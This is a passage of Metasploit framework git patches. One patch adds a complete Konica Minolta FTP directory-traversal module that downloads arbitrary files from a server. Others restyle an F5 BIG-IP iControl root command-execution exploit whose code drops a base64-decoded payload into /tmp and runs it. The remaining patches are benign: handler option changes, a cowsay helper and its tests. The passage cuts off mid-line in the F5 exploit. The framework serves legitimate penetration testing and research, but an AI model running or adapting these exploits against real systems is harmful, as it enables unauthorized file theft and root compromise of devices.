opts[:template] = File.join(opts[:template_path], opts[:template]) # for us, check if the file exists. - set_template_default(opts) + set_template_default(opts, 'template_x86_linux.bin') # If this isn't our normal template, we have to do some fancy # header patching to mark the .text section rwx before putting our From 44948a2aced3efc905fb4aed870cebc22ca748c5 Mon Sep 17 00:00:00 2001 From: JT <shipcodez@gmail.com> Date: Fri, 13 Nov 2015 07:51:42 +0800 Subject: [PATCH 1193/2172] Add konica_ftp_traversal.rb ( CVE-2015-7603 ) This module exploits a directory traversal vulnerability found in Konica Minolta FTP Utility 1.0. This vulnerability allows an attacker to download arbitrary files from the server by crafting a RETR command that includes file system traversal strings such as '..// --- .../scanner/ftp/konica_ftp_traversal.rb | 97 +++++++++++++++++++ 1 file changed, 97 insertions(+) create mode 100644 modules/auxiliary/scanner/ftp/konica_ftp_traversal.rb diff --git a/modules/auxiliary/scanner/ftp/konica_ftp_traversal.rb b/modules/auxiliary/scanner/ftp/konica_ftp_traversal.rb new file mode 100644 index 0000000000..04711da9f7 --- /dev/null +++ b/modules/auxiliary/scanner/ftp/konica_ftp_traversal.rb @@ -0,0 +1,97 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::Ftp + include Msf::Auxiliary::Report + include Msf::Auxiliary::Scanner + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Konica Minolta FTP Utility 1.00 Directory Traversal Information Disclosure', + 'Description' => %q{ + This module exploits a directory traversal vulnerability found in Konica Minolta FTP Utility 1.0. + This vulnerability allows an attacker to download arbitrary files from the server by crafting + a RETR command that includes file system traversal strings such as '..//' + }, + 'Platform' => 'win', + 'Author' => + [ + 'Jay Turla', # @shipcod3, msf + 'James Fitts', # msf + 'Brad Wolfe <brad.wolfe[at]gmail.com>', # msf + 'shinnai' # initial discovery + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'EDB', '38260'], + [ 'CVE', '2015-7603'], + [ 'URL', 'http://shinnai.altervista.org/exploits/SH-0024-20150922.html'] + ], + 'DisclosureDate' => 'Sep 22 2015' + )) + + register_options( + [ + OptInt.new('DEPTH', [ true, 'Traversal Depth (to reach the root folder)', 32 ]), + OptString.new('PATH', [ true, "Path to the file to disclose, releative to the root dir.", 'boot.ini']) + ], self.class) + end + + def check_host(ip) + begin + connect + if /FTP Utility FTP server \(Version 1\.00\)/i === banner + return Exploit::CheckCode::Appears + end + ensure + disconnect + end + + Exploit::CheckCode::Safe + end + + def run_host(target_host) + begin + # Login anonymously and open the socket that we'll use for data retrieval. + connect_login + sock = data_connect + file_path = datastore['PATH'] + file = ::File.basename(file_path) + + # make RETR request and store server response message... + retr_cmd = ( "..//" * datastore['DEPTH'] ) + "#{file_path}" + res = send_cmd( ["RETR", retr_cmd]) + + # read the file data from the socket that we opened + response_data = sock.read(1024) + + if response_data.length == 0 or ! (res =~ /^150/ ) + print_status("File (#{file_path})from #{peer} is empty...") + return + end + + # store file data to loot + loot_file = store_loot("konica.ftp.data", "text", rhost, response_data, file, file_path) + vprint_status("Data returned:\n") + vprint_line(response_data) + print_good("Stored #{file_path} to #{loot_file}") + + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout => e + vprint_error(e.message) + elog("#{e.class} #{e.message} #{e.backtrace * "\n"}") + rescue ::Timeout::Error, ::Errno::EPIPE => e + vprint_error(e.message) + elog("#{e.class} #{e.message} #{e.backtrace * "\n"}") + ensure + data_disconnect + disconnect + end + end +end From 873994a154849804750fb5a3a83bf7c3dc238606 Mon Sep 17 00:00:00 2001 From: jvoisin <julien.voisin@dustri.org> Date: Fri, 13 Nov 2015 12:40:34 +0100 Subject: [PATCH 1194/2172] Skip the explicit return Thanks to kernelsmith for the feedback --- modules/exploits/linux/local/chkrootkit.rb | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) diff --git a/modules/exploits/linux/local/chkrootkit.rb b/modules/exploits/linux/local/chkrootkit.rb index 9354bddda0..50d4851514 100644 --- a/modules/exploits/linux/local/chkrootkit.rb +++ b/modules/exploits/linux/local/chkrootkit.rb @@ -53,8 +53,11 @@ class Metasploit4 < Msf::Exploit::Local def check res = cmd_exec('/usr/sbin/chkrootkit -V') - return Exploit::CheckCode::Appears if res && res =~ /chkrootkit version 0\.[^5]/ - return Exploit::CheckCode::Safe + if res && res =~ /chkrootkit version 0\.[^5]/ + Exploit::CheckCode::Appears + else + Exploit::CheckCode::Safe + end end def exploit From 9d9865150b29a6a07194a4caaea245ca4b82a899 Mon Sep 17 00:00:00 2001 From: sammbertram <sammbertram@users.noreply.github.com> Date: Fri, 13 Nov 2015 13:19:01 +0000 Subject: [PATCH 1195/2172] Transport priority changes Default transport request should set the priority to the Host: request header, and the subsequent OverrideRequestHost, OverrideLHOST, and OverrideLPORT options in the handler for reverse_http(s). --- lib/msf/core/payload/transport_config.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/msf/core/payload/transport_config.rb b/lib/msf/core/payload/transport_config.rb index 0e7d49bdc3..4f0e89a44b 100644 --- a/lib/msf/core/payload/transport_config.rb +++ b/lib/msf/core/payload/transport_config.rb @@ -55,8 +55,8 @@ module Msf::Payload::TransportConfig { :scheme => 'http', - :lhost => datastore['LHOST'], - :lport => datastore['LPORT'].to_i, + :lhost => opts[:lhost], + :lport => opts[:lport].to_i, :uri => uri, :comm_timeout => datastore['SessionCommunicationTimeout'].to_i, :retry_total => datastore['SessionRetryTotal'].to_i, From cd4aa28d1142785e00f350e1e2e39d3b51d7d4af Mon Sep 17 00:00:00 2001 From: sammbertram <sammbertram@users.noreply.github.com> Date: Fri, 13 Nov 2015 13:21:46 +0000 Subject: [PATCH 1196/2172] Transport priority changes Pass in the "lhost" and "lport" options to the default transport during the native payload. This takes the following LHOST priorities: 1. OverrideLHOST, only if OverrideRequestHost is TRUE 2. The request Host: header. 3. The LHOST datastore. --- lib/msf/core/handler/reverse_http.rb | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/lib/msf/core/handler/reverse_http.rb b/lib/msf/core/handler/reverse_http.rb index 2de003bfcc..1ae5e763c5 100644 --- a/lib/msf/core/handler/reverse_http.rb +++ b/lib/msf/core/handler/reverse_http.rb @@ -351,7 +351,9 @@ protected # we don't get new ones generated. blob = obj.stage_payload( uuid: uuid, - uri: conn_id + uri: conn_id, + lhost: datastore['OverrideRequestHost'] ? datastore['OverrideLHOST'] : (req && req.headers && req.headers['Host']) ? req.headers['Host'] : datastore['LHOST'], + lport: datastore['OverrideRequestHost'] ? datastore['OverrideLPORT'] : datastore['LPORT'] ) resp.body = encode_stage(blob) From 4604f8cd836752791081b19b7d5017dcb376c820 Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Fri, 13 Nov 2015 08:57:48 -0800 Subject: [PATCH 1197/2172] Move cowsay to Rex::Text so that everyone can enjoy it ;) --- lib/rex/text.rb | 50 ++++++++++++++++++++++++++++++ modules/post/multi/general/wall.rb | 36 +-------------------- 2 files changed, 51 insertions(+), 35 deletions(-) diff --git a/lib/rex/text.rb b/lib/rex/text.rb index ffeb848ee6..3ec14092ef 100644 --- a/lib/rex/text.rb +++ b/lib/rex/text.rb @@ -1126,6 +1126,56 @@ module Text return output end + # + # Converts a string to one similar to what would be used by cowsay(1), a UNIX utility for + # displaying text as if it was coming from an ASCII-cow's mouth: + # + # __________________ + # < the cow says moo > + # ------------------ + # \ ^__^ + # \ (oo)\_______ + # (__)\ )\/\ + # ||----w | + # || || + # + # @param text [String] The string to cowsay + # @param width [Fixnum] Width of the cow's cloud. Default's to cowsay(1)'s default, 39. + def self.cowsay(text, width=39) + # cowsay(1) chunks a message up into 39-byte chunks and wraps it in '| ' and ' |' + # Rex::Text.wordwrap(text, 0, 39, ' |', '| ') almost does this, but won't + # split a word that has > 39 characters in it which results in oddly formed + # text in the cowsay banner, so just do it by hand. This big mess wraps + # the provided text in an ASCII-cloud and then makes it look like the cloud + # is a thought/word coming from the ASCII-cow. Each line in the + # ASCII-cloud is no more than the specified number-characters long, and the cloud corners are + # made to look rounded + text_lines = text.scan(Regexp.new(".{1,#{width}}")) + max_length = text_lines.map(&:size).sort.last + cloud_parts = [] + cloud_parts << " #{'_' * (max_length + 2)} " + if text_lines.size == 1 + cloud_parts << "< #{text} >" + else + cloud_parts << "/ #{text_lines.first.ljust(max_length, ' ')} \\" + if text_lines.size > 2 + text_lines[1, text_lines.length - 2].each do |line| + cloud_parts << "| #{line.ljust(max_length, ' ')} |" + end + end + cloud_parts << "\\ #{text_lines.last.ljust(max_length, ' ')} /" + end + cloud_parts << " #{'-' * (max_length + 2)} " + cloud_parts << <<EOS + \\ ,__, + \\ (oo)____ + (__) )\\ + ||--|| * +EOS + cloud_parts.join("\n") + end + + ## # # Transforms diff --git a/modules/post/multi/general/wall.rb b/modules/post/multi/general/wall.rb index 97bdd234a5..6cf7fb958a 100644 --- a/modules/post/multi/general/wall.rb +++ b/modules/post/multi/general/wall.rb @@ -33,40 +33,6 @@ class Metasploit3 < Msf::Post ], self.class) end - def cowsay(text) - # cowsay(1) chunks a message up into 39-byte chunks and wraps it in '| ' and ' |' - # Rex::Text.wordwrap(text, 0, 39, ' |', '| ') almost does this, but won't - # split a word that has > 39 characters in it which results in oddly formed - # text in the cowsay banner, so just do it by hand. This big mess wraps - # the provided text in an ASCII-cloud and then makes it look like the cloud - # is a thought/word coming from the ASCII-cow. Each line in the - # ASCII-cloud is no more than 34-characters long, and the cloud corners are - # made to look rounded - text_lines = text.scan(/.{1,34}/) - max_length = text_lines.map(&:size).sort.last - cloud_parts = [] - cloud_parts << " #{'_' * (max_length + 2)} " - if text_lines.size == 1 - cloud_parts << "< #{text} >" - else - cloud_parts << "/ #{text_lines.first.ljust(max_length, ' ')} \\" - if text_lines.size > 2 - text_lines[1, text_lines.length - 2].each do |line| - cloud_parts << "| #{line.ljust(max_length, ' ')} |" - end - end - cloud_parts << "\\ #{text_lines.last.ljust(max_length, ' ')} /" - end - cloud_parts << " #{'-' * (max_length + 2)} " - cloud_parts << <<EOS - \\ ,__, - \\ (oo)____ - (__) )\\ - ||--|| * -EOS - cloud_parts.join("\n") - end - def users datastore['USERS'] ? datastore['USERS'].split(/\s*,\s*/) : nil end @@ -78,7 +44,7 @@ EOS text = datastore['MESSAGE'] end - datastore['COWSAY'] ? cowsay(text) : text + datastore['COWSAY'] ? Rex::Text.cowsay(text, 100) : text end def run From 4a707b33a2656b9e1a5881cdd262d5ea90ec70d5 Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Fri, 13 Nov 2015 10:26:47 -0800 Subject: [PATCH 1198/2172] Add rspec coverage for cowsay. Achievement unlocked --- lib/rex/text.rb | 10 +++---- spec/lib/rex/text_spec.rb | 57 ++++++++++++++++++++++++++++++++++++++- 2 files changed, 61 insertions(+), 6 deletions(-) diff --git a/lib/rex/text.rb b/lib/rex/text.rb index 3ec14092ef..770f94d37f 100644 --- a/lib/rex/text.rb +++ b/lib/rex/text.rb @@ -1148,12 +1148,12 @@ module Text # text in the cowsay banner, so just do it by hand. This big mess wraps # the provided text in an ASCII-cloud and then makes it look like the cloud # is a thought/word coming from the ASCII-cow. Each line in the - # ASCII-cloud is no more than the specified number-characters long, and the cloud corners are - # made to look rounded - text_lines = text.scan(Regexp.new(".{1,#{width}}")) + # ASCII-cloud is no more than the specified number-characters long, and the + # cloud corners are made to look rounded + text_lines = text.scan(Regexp.new(".{1,#{width-4}}")) max_length = text_lines.map(&:size).sort.last cloud_parts = [] - cloud_parts << " #{'_' * (max_length + 2)} " + cloud_parts << " #{'_' * (max_length + 2)}" if text_lines.size == 1 cloud_parts << "< #{text} >" else @@ -1165,7 +1165,7 @@ module Text end cloud_parts << "\\ #{text_lines.last.ljust(max_length, ' ')} /" end - cloud_parts << " #{'-' * (max_length + 2)} " + cloud_parts << " #{'-' * (max_length + 2)}" cloud_parts << <<EOS \\ ,__, \\ (oo)____ diff --git a/spec/lib/rex/text_spec.rb b/spec/lib/rex/text_spec.rb index 4c465f6323..364b211fd9 100644 --- a/spec/lib/rex/text_spec.rb +++ b/spec/lib/rex/text_spec.rb @@ -167,6 +167,61 @@ describe Rex::Text do end end + context ".cowsay" do + + def moo(num) + (%w(moo) * num).join(' ') + end + + it "should cowsay single lines correctly" do + cowsaid = <<EOCOW + _____________________ +< moo moo moo moo moo > + --------------------- + \\ ,__, + \\ (oo)____ + (__) )\\ + ||--|| * +EOCOW + described_class.cowsay(moo(5)).should eq(cowsaid) + end + + it "should cowsay two lines correctly" do + cowsaid = <<EOCOW + _____________________________________ +/ moo moo moo moo moo moo moo moo moo \\ +\\ moo moo moo moo moo moo / + ------------------------------------- + \\ ,__, + \\ (oo)____ + (__) )\\ + ||--|| * +EOCOW + described_class.cowsay(moo(15)).should eq(cowsaid) + end + + it "should cowsay three+ lines correctly" do + cowsaid = <<EOCOW + _____________________________________ +/ moo moo moo moo moo moo moo moo moo \\ +| moo moo moo moo moo moo moo moo mo | +| o moo moo moo moo moo moo moo moo m | +\\ oo moo moo moo / + ------------------------------------- + \\ ,__, + \\ (oo)____ + (__) )\\ + ||--|| * +EOCOW + described_class.cowsay(moo(30)).should eq(cowsaid) + end + + it "should respect the wrap" do + wrap = 40 + rand(100) + cowsaid = described_class.cowsay(moo(1000), wrap) + max_len = cowsaid.split(/\n/).map(&:length).sort.last + max_len.should eq(wrap) + end + end end end - From 85e5b0abe9124c1375a5002a88b4ce5b9f473df7 Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Fri, 13 Nov 2015 10:42:26 -0800 Subject: [PATCH 1199/2172] Initial style cleanup --- modules/exploits/linux/http/f5_icall_cmd.rb | 20 +++++++++++--------- 1 file changed, 11 insertions(+), 9 deletions(-) diff --git a/modules/exploits/linux/http/f5_icall_cmd.rb b/modules/exploits/linux/http/f5_icall_cmd.rb index d710438126..023162c5e3 100644 --- a/modules/exploits/linux/http/f5_icall_cmd.rb +++ b/modules/exploits/linux/http/f5_icall_cmd.rb @@ -78,16 +78,18 @@ class Metasploit3 < Msf::Exploit::Remote 'username' => datastore['USERNAME'], 'password' => datastore['PASSWORD'] }) - if res and res.code == 200 + if res && res.code == 200 return res - else - if res and res.code == 401 + elsif res + if res.code == 401 print_error('401 Unauthorized - Check credentials') else print_error("#{res.code} - Unknown error") end - return false + else + vprint_error('No response') end + return false end # cmd is valid tcl script @@ -150,7 +152,7 @@ class Metasploit3 < Msf::Exploit::Remote end pay = xml.to_xml res = send_soap_request(pay) - if res and res.code == 200 and res.body =~ /\/Common\/#{scriptname}/ + if res && res.code == 200 && res.body =~ /\/Common\/#{scriptname}/ return true else return false @@ -221,7 +223,7 @@ class Metasploit3 < Msf::Exploit::Remote end pay = xml.to_xml res = send_soap_request(pay) - if res and res.code == 200 and res.body =~ /\/Common\/#{handler_name}/ + if res && res.code == 200 && res.body =~ /\/Common\/#{handler_name}/ return true else return false @@ -260,9 +262,9 @@ class Metasploit3 < Msf::Exploit::Remote 'username' => datastore['USERNAME'], 'password' => datastore['PASSWORD'] }) - if res and res.code == 500 and res.body =~ /path is empty/ + if res && res.code == 500 && res.body =~ /path is empty/ return Exploit::CheckCode::Appears - elsif res and res.code == 401 + elsif res && res.code == 401 print_error('401 Unauthorized') return Exploit::CheckCode::Unknown else @@ -312,7 +314,7 @@ class Metasploit3 < Msf::Exploit::Remote sleep(interval+2) # small delay, just to make sure print_status('Trying cleanup...') - unless delete_handler(handler) and delete_script(script) + unless delete_handler(handler) && delete_script(script) print_error('Error while cleaning up') else print_status('Cleanup finished with no errors') From ecbd4533019261aea61c9278c01c96f939b0a440 Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Fri, 13 Nov 2015 11:24:11 -0800 Subject: [PATCH 1200/2172] Second pass at style cleanup. Conforms now --- modules/exploits/linux/http/f5_icall_cmd.rb | 229 +++++++++----------- 1 file changed, 105 insertions(+), 124 deletions(-) diff --git a/modules/exploits/linux/http/f5_icall_cmd.rb b/modules/exploits/linux/http/f5_icall_cmd.rb index 023162c5e3..329975f261 100644 --- a/modules/exploits/linux/http/f5_icall_cmd.rb +++ b/modules/exploits/linux/http/f5_icall_cmd.rb @@ -8,76 +8,77 @@ require 'nokogiri' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking - include Msf::Exploit::Remote::HttpClient include Msf::Exploit::FileDropper - def initialize(info={}) - super(update_info(info, - 'Name' => "F5 iControl iCall::Script Root Command Execution", - 'Description' => %q{ - This module exploits an authenticated a privilege escalation vulnerability - in the iControl API on the F5 BIG-IP LTM (and likely other F5 devices). The attacker needs valid - credentials and the Resource Administrator role. The exploit should work on BIG-IP 11.3.0 - 11.6.0, - (11.5.x < 11.5.3 HF2 or 11.6.x < 11.6.0 HF6, see references for more details) - }, - 'License' => MSF_LICENSE, - 'Author' => - [ - 'tom' # Discovery, Metasploit module - ], - 'References' => - [ - ['CVE', '2015-3628'], - ['URL', 'https://support.f5.com/kb/en-us/solutions/public/16000/700/sol16728.html'], - ['URL', 'https://gdssecurity.squarespace.com/labs/2015/9/8/f5-icallscript-privilege-escalation-cve-2015-3628.html'] - ], - 'Platform' => ['unix'], - 'Arch' => ARCH_CMD, - 'Targets' => - [ - ['F5 BIG-IP LTM 11.x', {}] - ], - 'Privileged' => true, - 'DisclosureDate' => "Sep 3 2015", - 'DefaultTarget' => 0)) + def initialize(info = {}) + super( + update_info( + info, + 'Name' => "F5 iControl iCall::Script Root Command Execution", + 'Description' => %q{ + This module exploits an authenticated a privilege escalation vulnerability + in the iControl API on the F5 BIG-IP LTM (and likely other F5 devices). The attacker needs valid + credentials and the Resource Administrator role. The exploit should work on BIG-IP 11.3.0 - 11.6.0, + (11.5.x < 11.5.3 HF2 or 11.6.x < 11.6.0 HF6, see references for more details) + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'tom' # Discovery, Metasploit module + ], + 'References' => + [ + ['CVE', '2015-3628'], + ['URL', 'https://support.f5.com/kb/en-us/solutions/public/16000/700/sol16728.html'], + ['URL', 'https://gdssecurity.squarespace.com/labs/2015/9/8/f5-icallscript-privilege-escalation-cve-2015-3628.html'] + ], + 'Platform' => ['unix'], + 'Arch' => ARCH_CMD, + 'Targets' => + [ + ['F5 BIG-IP LTM 11.x', {}] + ], + 'Privileged' => true, + 'DisclosureDate' => "Sep 3 2015", + 'DefaultTarget' => 0)) - register_options( - [ - Opt::RPORT(443), - OptBool.new('SSL', [true, 'Use SSL', true]), - OptString.new('TARGETURI', [true, 'The base path to the iControl installation', '/iControl/iControlPortal.cgi']), - OptString.new('USERNAME', [true, 'The username to authenticate with', 'admin']), - OptString.new('PASSWORD', [true, 'The password to authenticate with', 'admin']) - ], self.class) - register_advanced_options( - [ - OptInt.new('INTERVAL', [ true, 'Time interval before the iCall::Handler is called, in seconds', 3 ]), - OptString.new('PATH', [true, 'Filesystem path for the dropped payload', '/tmp']), - OptString.new('FILENAME', [false, 'File name of the dropped payload', '.9cdfb439c7876e70']), - OptInt.new('ARG_MAX', [true, 'Command line length limit', 131072]) - ], self.class) + register_options( + [ + Opt::RPORT(443), + OptBool.new('SSL', [true, 'Use SSL', true]), + OptString.new('TARGETURI', [true, 'The base path to the iControl installation', '/iControl/iControlPortal.cgi']), + OptString.new('USERNAME', [true, 'The username to authenticate with', 'admin']), + OptString.new('PASSWORD', [true, 'The password to authenticate with', 'admin']) + ]) + register_advanced_options( + [ + OptInt.new('INTERVAL', [ true, 'Time interval before the iCall::Handler is called, in seconds', 3 ]), + OptString.new('PATH', [true, 'Filesystem path for the dropped payload', '/tmp']), + OptString.new('FILENAME', [false, 'File name of the dropped payload', '.9cdfb439c7876e70']), + OptInt.new('ARG_MAX', [true, 'Command line length limit', 131072]) + ]) end def xml_add_namespaces(xml) - ns = xml.doc.root.add_namespace_definition("soapenv","http://schemas.xmlsoap.org/soap/envelope/") - xml.doc.root.namespace = ns - xml.doc.root.add_namespace_definition("xsi", "http://www.w3.org/2001/XMLSchema-instance") - xml.doc.root.add_namespace_definition("xsd", "http://www.w3.org/2001/XMLSchema") - xml.doc.root.add_namespace_definition("scr", "urn:iControl:iCall/Script") - xml.doc.root.add_namespace_definition("soapenc", "http://schemas.xmlsoap.org/soap/encoding") - xml.doc.root.add_namespace_definition("per", "urn:iControl:iCall/PeriodicHandler") - return xml + ns = xml.doc.root.add_namespace_definition("soapenv", "http://schemas.xmlsoap.org/soap/envelope/") + xml.doc.root.namespace = ns + xml.doc.root.add_namespace_definition("xsi", "http://www.w3.org/2001/XMLSchema-instance") + xml.doc.root.add_namespace_definition("xsd", "http://www.w3.org/2001/XMLSchema") + xml.doc.root.add_namespace_definition("scr", "urn:iControl:iCall/Script") + xml.doc.root.add_namespace_definition("soapenc", "http://schemas.xmlsoap.org/soap/encoding") + xml.doc.root.add_namespace_definition("per", "urn:iControl:iCall/PeriodicHandler") + xml end def send_soap_request(pay) - res = send_request_cgi({ + res = send_request_cgi( 'uri' => normalize_uri(target_uri.path), 'method' => 'POST', 'data' => pay, 'username' => datastore['USERNAME'], 'password' => datastore['PASSWORD'] - }) + ) if res && res.code == 200 return res elsif res @@ -89,23 +90,24 @@ class Metasploit3 < Msf::Exploit::Remote else vprint_error('No response') end - return false + false end # cmd is valid tcl script def create_script(cmd) scriptname = Rex::Text.rand_text_alpha_lower(5) - xml = Nokogiri::XML::Builder.new do |xml| + builder = Nokogiri::XML::Builder.new do |xml| xml.Envelope do xml = xml_add_namespaces(xml) xml['soapenv'].Header xml['soapenv'].Body do xml['scr'].create("soapenv:encodingStyle" => "http://schemas.xmlsoap.org/soap/encoding/") do - xml.scripts('xsi:type'=>'urn:Common.StringSequence', 'soapenc:arrayType'=>'xsd:string[]', 'xmlns:urn'=>'urn:iControl') do + string_attrs = { 'xsi:type' => 'urn:Common.StringSequence', 'soapenc:arrayType' => 'xsd:string[]', 'xmlns:urn' => 'urn:iControl' } + xml.scripts(string_attrs) do xml.parent.namespace = xml.parent.parent.namespace_definitions.first xml.item scriptname end - xml.definitions('xsi:type'=>'urn:Common.StringSequence', 'soapenc:arrayType'=>'xsd:string[]', 'xmlns:urn'=>'urn:iControl') do + xml.definitions(string_attrs) do xml.parent.namespace = xml.parent.parent.namespace_definitions.first xml.item cmd end @@ -113,22 +115,18 @@ class Metasploit3 < Msf::Exploit::Remote end end end - pay = xml.to_xml - if send_soap_request(pay) - return scriptname - else - return false - end + send_soap_request(builder.to_xml) ? scriptname : false end def delete_script(scriptname) - xml = Nokogiri::XML::Builder.new do |xml| + builder = Nokogiri::XML::Builder.new do |xml| xml.Envelope do xml = xml_add_namespaces(xml) xml['soapenv'].Header xml['soapenv'].Body do xml['scr'].delete_script("soapenv:encodingStyle" => "http://schemas.xmlsoap.org/soap/encoding/") do - xml.scripts('xsi:type'=>'urn:Common.StringSequence', 'soapenc:arrayType'=>'xsd:string[]', 'xmlns:urn'=>'urn:iControl') do + string_attrs = { 'xsi:type' => 'urn:Common.StringSequence', 'soapenc:arrayType' => 'xsd:string[]', 'xmlns:urn' => 'urn:iControl' } + xml.scripts(string_attrs) do xml.parent.namespace = xml.parent.parent.namespace_definitions.first xml.item scriptname end @@ -136,12 +134,11 @@ class Metasploit3 < Msf::Exploit::Remote end end end - pay = xml.to_xml - return send_soap_request(pay) + send_soap_request(builder.to_xml) end def script_exists(scriptname) - xml = Nokogiri::XML::Builder.new do |xml| + builder = Nokogiri::XML::Builder.new do |xml| xml.Envelope do xml = xml_add_namespaces(xml) xml['soapenv'].Header @@ -150,32 +147,29 @@ class Metasploit3 < Msf::Exploit::Remote end end end - pay = xml.to_xml - res = send_soap_request(pay) - if res && res.code == 200 && res.body =~ /\/Common\/#{scriptname}/ - return true - else - return false - end + res = send_soap_request(builder.to_xml) + res && res.code == 200 && res.body =~ Regexp.new("/Common/#{scriptname}") end def create_handler(scriptname, interval) handler_name = Rex::Text.rand_text_alpha_lower(5) - xml = Nokogiri::XML::Builder.new do |xml| - xml.Envelope do - xml = xml_add_namespaces(xml) - xml['soapenv'].Header + builder = Nokogiri::XML::Builder.new do |xml| + xml.Envelope do + xml = xml_add_namespaces(xml) + xml['soapenv'].Header xml['soapenv'].Body do xml['per'].create("soapenv:encodingStyle" => "http://schemas.xmlsoap.org/soap/encoding/") do - xml.handlers('xsi:type'=>'urn:Common.StringSequence', 'soapenc:arrayType'=>'xsd:string[]', 'xmlns:urn'=>'urn:iControl') do + string_attrs = { 'xsi:type' => 'urn:Common.StringSequence', 'soapenc:arrayType' => 'xsd:string[]', 'xmlns:urn' => 'urn:iControl' } + xml.handlers(string_attrs) do xml.parent.namespace = xml.parent.parent.namespace_definitions.first xml.item handler_name end - xml.scripts('xsi:type'=>'urn:Common.StringSequence', 'soapenc:arrayType'=>'xsd:string[]', 'xmlns:urn'=>'urn:iControl') do + xml.scripts(string_attrs) do xml.parent.namespace = xml.parent.parent.namespace_definitions.first xml.item scriptname end - xml.intervals('xsi:type'=>'urn:Common.ULongSequence', 'soapenc:arrayType'=>'xsd:long[]', 'xmlns:urn'=>'urn:iControl') do + long_attrs = { 'xsi:type' => 'urn:Common.ULongSequence', 'soapenc:arrayType' => 'xsd:long[]', 'xmlns:urn' => 'urn:iControl' } + xml.intervals(long_attrs) do xml.parent.namespace = xml.parent.parent.namespace_definitions.first xml.item interval end @@ -183,22 +177,18 @@ class Metasploit3 < Msf::Exploit::Remote end end end - pay = xml.to_xml - if send_soap_request(pay) - return handler_name - else - return false - end + send_soap_request(builder.to_xml) ? handler_name : false end def delete_handler(handler_name) - xml = Nokogiri::XML::Builder.new do |xml| + builder = Nokogiri::XML::Builder.new do |xml| xml.Envelope do xml = xml_add_namespaces(xml) xml['soapenv'].Header xml['soapenv'].Body do xml['per'].delete_handler("soapenv:encodingStyle" => "http://schemas.xmlsoap.org/soap/encoding/") do - xml.handlers('xsi:type'=>'urn:Common.StringSequence', 'soapenc:arrayType'=>'xsd:string[]', 'xmlns:urn'=>'urn:iControl') do + attrs = { 'xsi:type' => 'urn:Common.StringSequence', 'soapenc:arrayType' => 'xsd:string[]', 'xmlns:urn' => 'urn:iControl' } + xml.handlers(attrs) do xml.parent.namespace = xml.parent.parent.namespace_definitions.first xml.item handler_name end @@ -206,13 +196,12 @@ class Metasploit3 < Msf::Exploit::Remote end end end - pay = xml.to_xml - return send_soap_request(pay) + send_soap_request(builder.to_xml) end def handler_exists(handler_name) - xml = Nokogiri::XML::Builder.new do |xml| + builder = Nokogiri::XML::Builder.new do |xml| xml.Envelope do xml = xml_add_namespaces(xml) xml['soapenv'].Header @@ -221,13 +210,8 @@ class Metasploit3 < Msf::Exploit::Remote end end end - pay = xml.to_xml - res = send_soap_request(pay) - if res && res.code == 200 && res.body =~ /\/Common\/#{handler_name}/ - return true - else - return false - end + res = send_soap_request(builder.to_xml) + res && res.code == 200 && res.body =~ Regexp.new("/Common/#{handler_name}") end def check @@ -236,17 +220,18 @@ class Metasploit3 < Msf::Exploit::Remote # XXX ignored at the moment: if the user doesn't have enough privileges, 500 error also is returned, but saying 'access denied'. # if the user/password is wrong, a 401 error is returned, the server might or might not be vulnerable # any other response is considered not vulnerable - xml = Nokogiri::XML::Builder.new do |xml| + builder = Nokogiri::XML::Builder.new do |xml| xml.Envelope do xml = xml_add_namespaces(xml) xml['soapenv'].Header xml['soapenv'].Body do xml['scr'].create("soapenv:encodingStyle" => "http://schemas.xmlsoap.org/soap/encoding/") do - xml.scripts('xsi:type'=>'urn:Common.StringSequence', 'soapenc:arrayType'=>'xsd:string[]', 'xmlns:urn'=>'urn:iControl') do + attrs = { 'xsi:type' => 'urn:Common.StringSequence', 'soapenc:arrayType' => 'xsd:string[]', 'xmlns:urn' => 'urn:iControl' } + xml.scripts(attrs) do xml.parent.namespace = xml.parent.parent.namespace_definitions.first xml.item "" end - xml.definitions('xsi:type'=>'urn:Common.StringSequence', 'soapenc:arrayType'=>'xsd:string[]', 'xmlns:urn'=>'urn:iControl') do + xml.definitions(attrs) do xml.parent.namespace = xml.parent.parent.namespace_definitions.first xml.item "" end @@ -254,46 +239,43 @@ class Metasploit3 < Msf::Exploit::Remote end end end - pay = xml.to_xml - res = send_request_cgi({ + res = send_request_cgi( 'uri' => normalize_uri(target_uri.path), 'method' => 'POST', - 'data' => pay, + 'data' => builder.to_xml, 'username' => datastore['USERNAME'], 'password' => datastore['PASSWORD'] - }) + ) if res && res.code == 500 && res.body =~ /path is empty/ return Exploit::CheckCode::Appears elsif res && res.code == 401 - print_error('401 Unauthorized') - return Exploit::CheckCode::Unknown + print_error('401 Unauthorized') + return Exploit::CheckCode::Unknown else return Exploit::CheckCode::Safe end end def exploit - # phase 1: create iCall script to create file with payload, execute it and remove it. filepath = datastore['PATH'] filename = datastore['FILENAME'] dest_file = filepath + '/' + filename - #register_file_for_cleanup dest_file + register_file_for_cleanup dest_file - shell_cmd = %Q@echo #{Rex::Text.encode_base64(payload.encoded)}|base64 --decode >#{dest_file}; chmod +x #{dest_file};#{dest_file};rm -f #{dest_file}@ - cmd = %Q@if { ! [file exists #{dest_file}]} { exec /bin/sh -c "#{shell_cmd}"}@ + shell_cmd = %(echo #{Rex::Text.encode_base64(payload.encoded)}|base64 --decode >#{dest_file}; chmod +x #{dest_file};#{dest_file};rm -f #{dest_file}) + cmd = %(if { ! [file exists #{dest_file}]} { exec /bin/sh -c "#{shell_cmd}"}) arg_max = datastore['ARG_MAX'] if shell_cmd.size > arg_max - print_error "Payload #{datastore['PAYLOAD']} is too big, try a different payload or increasing ARG_MAX (note that 